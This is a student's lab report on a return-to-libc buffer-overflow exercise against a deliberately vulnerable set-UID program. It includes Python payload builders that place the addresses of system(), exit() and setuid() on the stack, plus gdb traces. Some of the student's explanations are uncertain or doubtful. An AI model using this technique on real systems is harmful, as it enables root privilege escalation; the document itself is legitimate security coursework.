James Oswald
Lab 03

2.1 Turning off countermeasures

I begin by disabling address space randomization

```
[10/02/20 J0481765]seed@VM:~$  sudo sysctl -w kernel.ra
ndomize_va_space=0
kernel.randomize_va_space = 0
[10/02/20 J0481765]seed@VM:~$
```

The other countermeasures, like StackGuard needs to be passed into gcc when compiling, and we won't be using Executable Stack since the point of this lab is to get around it.

Finally, I link sh to zsh rather than dash to avoid needing to perform the trick in the last lab, but the instructions say we'll get around to circumventing this later.

```
[10/02/20 J0481765]seed@VM:~$ sudo ln -sf /bin/zsh /bin
/sh
[10/02/20 J0481765]seed@VM:~$
```

2.2 The Vulnerable Program

I begin by putting in the program with the buffer overflow vulnerability, compiling it, and making it a set-UID program.

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 22
#endif

int bof(FILE *badfile)
{
    char buffer[BUF_SIZE];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 300, badfile);
    return 1;
}

int main(int argc, char **argv)
{
    FILE *badfile;
    /* Change the size of the dummy array to randomize the parameters
       for this lab. Need to use the array at least once */
    char dummy[BUF_SIZE*5];
    memset(dummy, 0, BUF_SIZE*5);
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}
```

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$  gcc -fno-sta
ck-protector -z noexecstack -o retlib retlib.c
[10/02/20 J0481765]seed@VM:~/.../sandbox$ sudo chown ro
ot retlib
[10/02/20 J0481765]seed@VM:~/.../sandbox$ sudo chmod 47
55 retlib
[10/02/20 J0481765]seed@VM:~/.../sandbox$
```

2.3 Task 1: Finding out the addresses of libc functions

The goal of this task is to find the address of the system function,

We start by running retlib with gdb in quiet mode:

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ touch badfile
[10/02/20 J0481765]seed@VM:~/.../sandbox$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols fou
nd)...done.
gdb-peda$ run
```

We then tell it to print system and exit:

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__lib
c_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_
exit>
gdb-peda$
```

2.4 Task 2: Putting the shell string in the memory

The goal of this task is to ensure that our shell string is within the memory that can be accessed by the program, and to find the address of where it is stored.

I begin by setting a new environmental variable to our string:

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ export MYSHEL
L=/bin/sh
[10/02/20 J0481765]seed@VM:~/.../sandbox$ env | grep MY
SHELL
MYSHELL=/bin/sh
```

I then use the following C code that utilizes getenv to obtain the address of the environmental variable in the program:

```
retlib.c        getEnvAddr.c

#include <stdlib.h>
#include <stdio.h>

void main(){
    char* shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int)shell);
}
```

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ gcc -o getEnv
Addr getEnvAddr.c
[10/02/20 J0481765]seed@VM:~/.../sandbox$ getEnvAddr
bffffde7
```

2.5 Task 3: Exploiting the buffer-overflow vulnerability

I begin by trying to find the address the buffer starts at by creating a debug version of our program using the -g flag.

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ gcc -fno-stac
k-protector -z noexecstack -o retlibdbg -g retlib.c
[10/02/20 J0481765]seed@VM:~/.../sandbox$ gdb -q retlib
dbg
Reading symbols from retlibdbg...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file retlib.c, line 13.
gdb-peda$ run
```

```
Breakpoint 1, bof (badfile=0x804fa88) at retlib.c:13
13          fread(buffer, sizeof(char), 300, badfile);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffec28
gdb-peda$ p &buffer
$2 = (char (*)[22]) 0xbfffec0a
```

```
gdb-peda$ p/d (int)$1 - (int)$2
$5 = 30
```

Now that we know the buffer is of size 30, we use our knowledge of how the stack is set up in bof() to understand where we need to place the addresses.

We start with changing the return address to system which will be at the buffer size +4 (34), followed by a fake return address from system, which we desire to be exit, which will be stored at size + 8(38), and finally the argument to system, which will be stored at size + 12 (42)
Thus we deduce X = 42, Y = 38, Z = 34, and fill them into our exploit.py program accordingly.

retlib.c | getEnvAddr.c | exploit.py

```python
#!/usr/bin/python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 42
sh_addr = 0xbffffde7       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 38
system_addr = 0xb7e42da0   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = 34
exit_addr = 0xb7e369d0     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

When running this I get no output. So I begin investigating why.
I start by running gdb on retlib and setting a breakpoint at bof

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ gdb -q retlib

Reading symbols from retlib...(no debugging symbols fou
nd)...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1
gdb-peda$ run
Starting program: /home/seed/lab03/sandbox/retlib
```

I Assume the issue is with the file name messing up the address location of /bin/sh, so i print out the strings pointed to by addresses at 0xbffffde7

```
gdb-peda$ x/7sb 0xbffffde7
0xbffffde7:     "ATH=/usr/bin/"
0xbffffdf5:     "MYSHELL=/bin/sh"
0xbffffe05:     "QT4_IM_MODULE=xim"
0xbffffe17:     "XDG_DATA_DIRS=/usr/share/ubuntu:/usr/s
hare/gnome:/usr/local/share/:/usr/share/:/var/lib/snapd
/desktop"
0xbffffe7d:     "J2SDKDIR=/usr/lib/jvm/java-8-oracle"
0xbffffea1:     "DBUS_SESSION_BUS_ADDRESS=unix:abstract
=/tmp/dbus-b1TAsTUrnG"
0xbffffedd:     "LESSOPEN=| /usr/bin/lesspipe %s"
```

Sure enough 0xbffffde7 s not /bin/sh but /user/bin, this means i was running system("/user/bin"); which explains why this didn't work. I change my address to 0xbffffdf5 and try again.

Again, It dosn't work. I then realize this is because Its a pointer to the string "MYSHELL=/bin/sh" so all i need to do is move it forward the length of "MYSHELL=" to make it a pointer to "/bin/sh" |MYSHELL=| = 8 so 0xbffffdf5 + 8 = 0xbffffdfc which apparently is wrong and it's d, I won't question why.

```
gdb-peda$ x/1sb 0xbffffdfc
0xbffffdfc:     "=/bin/sh"
gdb-peda$ x/1sb 0xbffffdfd
0xbffffdfd:     "/bin/sh"
gdb-peda$
```

I was fairly certain this was the issue, but I was wrong, I spent another 3 hours trying to debug this issue with no luck, along the way i realized the books XYZ are in a different order so i revised my exploit.py:

retlib.c × getEnvAddr.c × exploit.py × badf

```python
#!/usr/bin/python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 42
sh_addr = 0xbffffdfd       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 34
system_addr = 0xb7e42da0   # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = 38
exit_addr = 0xb7e369d0     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)

#0xb7e42da0 system
#0xb7e369d0 exit
```

Unfortunately whenever i run the program i keep getting the same result despite having the stack setup specified by the book:

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ retlib
[10/02/20 J0481765]seed@VM:~/.../sandbox$
```

The program won't segfault, it just stops without any errors. When using gdb to debug this I get

```
[-------------------------------------code-------------
------------------------]
   0x8048504 <bof+25>:  add    esp,0x10
   0x8048507 <bof+28>:  mov    eax,0x1
   0x804850c <bof+33>:  leave
=> 0x804850d <bof+34>:  ret
   0x804850e <main>:    lea    ecx,[esp+0x4]
   0x8048512 <main+4>:  and    esp,0xfffffff0
   0x8048515 <main+7>:  push   DWORD PTR [ecx-0x4]
   0x8048518 <main+10>: push   ebp
[-------------------------------------stack-------------
------------------------]
0000| 0xbfffec2c --> 0xb7e42da0 (<__libc_system>:     s
ub    esp,0xc)
0004| 0xbfffec30 --> 0xb7e369d0 (<__GI_exit>:    )
0008| 0xbfffec34 --> 0xbffffdfd ("/bin/sh")
0012| 0xbfffec38 --> 0xaaaaaaaa
0016| 0xbfffec3c --> 0xaaaaaaaa
0020| 0xbfffec40 --> 0xaaaaaaaa
0024| 0xbfffec44 --> 0xaaaaaaaa
```

Which is the same stack setup the book uses. But then on return get on ret

```
__libc_system (line=0xbffffdfd "/bin/sh")
    at ../sysdeps/posix/system.c:178
178     ../sysdeps/posix/system.c: No such file or dire
ctory.
gdb-peda$ quit
[10/02/20 J0481765]seed@VM:~/.../sandbox$ /bin/sh
$ quit
zsh: command not found: quit
$ exit
```

I also check to make sure /bin/sh exists.

After another hour of debugging I realized that for some reason it “works” and gets an unrooted bash shell when being run via gdb:

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols fou
nd)...done.
gdb-peda$ run
Starting program: /home/seed/lab03/sandbox/retlib
[New process 5032]
process 5032 is executing new program: /bin/zsh5
process 5032 is executing new program: /bin/zsh5
$ 
```

But I still can’t figure out for the life of me what went wrong with the real program.

Despite these failures, I will do my best to answer the other questions with hypotheticals. I have also opened a github issue on this strange behavior.

Attack variation 1: no, the exit() isn’t necessary, since system() is called before exit() we’re already in the prompt before an error/segfault would be generated by the lack of exit().

Attack variation 2: No this wouldn’t work, the file name impacts the environment variables since the underscore (_) var is set to program name. This pushes all other vars down a few bytes which would make the address we obtained for /bin/sh incorrect, causing an error.

2.6 Task 4: Turning on address randomization

First I re-enable address randomization:

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ sudo sysctl -
w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[10/02/20 J0481765]seed@VM:~/.../sandbox$
```

We see the experiment will fail when being re-run.

```
[10/02/20 J0481765]seed@VM:~/.../sandbox$ retlib
Segmentation fault
[10/02/20 J0481765]seed@VM:~/.../sandbox$ 
```

If address randomization is turned on X, Y, and Z should all still be fine since they are in relation to a pointer obtained at runtime holding the buffer address, however all the other addresses system, exit, and “/bin/sh” which are dependant on where the executable is placed in memory, should be randomized since they’re being bound into the executable during compile time and address randomization shifts the position an executable is started from.

2.7 Task 5: Defeat Shell's countermeasure

I have a theory on how this can be done, you would use the same technique used for chaining exit() and system(). At the end of task 3, we proved you didn't need exit() so rather you could start by calling setuid() followed by system(). This should allow us to get around the problem. I test out this theory bellow:

Relinking dash as the primary shell:

```
[10/02/20 JO481765]seed@VM:~/.../sandbox$ sudo ln -sf /
bin/dash /bin/sh
```

Getting the addresses:

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__lib
c_system>
gdb-peda$ p setuid
$2 = {<text variable, no debug info>} 0xb7eb9170 <__set
uid>
```

Setting up the exploit:

Despite getting a stack I thought might do the trick. I ended up getting a segfault.

```
[------------------------------------stack-------------
-------------------------]
0000| 0xbfffec2c --> 0xb7eb9170 (<__setuid>:    )
0004| 0xbfffec30 --> 0xb7e42da0 (<__libc_system>:     s
ub    esp,0xc)
0008| 0xbfffec34 --> 0xbffffdfd ("/bin/sh")
0012| 0xbfffec38 --> 0xaaaaaaaa
0016| 0xbfffec3c --> 0xaaaaaaaa
0020| 0xbfffec40 --> 0xaaaaaaaa
0024| 0xbfffec44 --> 0xaaaaaaaa
0028| 0xbfffec48 --> 0xaaaaaaaa
[------------------------------------------------------
-------------------------]
Legend: code, data, rodata, value
0x0804850d in bof ()
gdb-peda$
```

```
[10/02/20 JO481765]seed@VM:~/.../sandbox$ retlib
Segmentation fault
```

2.8 Task 6: Defeat Shell's countermeasure without putting zeros in input (Optional)

Considering I was unable to get Task 3 or 5 to work properly, I can't really attempt task 6.